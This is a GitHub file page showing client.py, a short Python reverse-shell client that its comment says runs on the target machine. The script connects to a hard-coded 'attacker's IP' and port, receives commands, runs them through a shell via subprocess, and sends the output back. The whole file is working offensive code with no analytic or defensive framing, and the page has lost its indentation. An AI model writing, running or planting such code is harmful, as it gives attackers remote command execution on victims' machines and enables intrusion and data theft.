-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
35 lines (32 loc) · 1.05 KB
/
client.py
File metadata and controls
35 lines (32 loc) · 1.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# will be run at the target machine from which rev shell will be spawned
import socket
import os
import subprocess
s = socket.socket()
host = '192.168.0.109' # attacker's IP
port = 1234 # attacker's port
s.connect((host, port))
while True:
currDir = os.getcwd() + "> "
s.send(str.encode(currDir))
resp = s.recv(1024)
data = resp.decode("utf-8")
output_str = ""
print(">> "+data) # debugging step
if data[:2] == "cd":
newPath = data[3:]
if data[3:] == "..":
slash = "/"
parts = os.getcwd().split(slash)
newPath = slash.join(parts[:-1])
if len(newPath) > 0:
os.chdir(newPath)
else:
cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte, "utf-8")
if output_str == "":
output_str = "no-output"
print("output: "+output_str) # debugging step
s.send(str.encode(output_str))
s.recv(1024)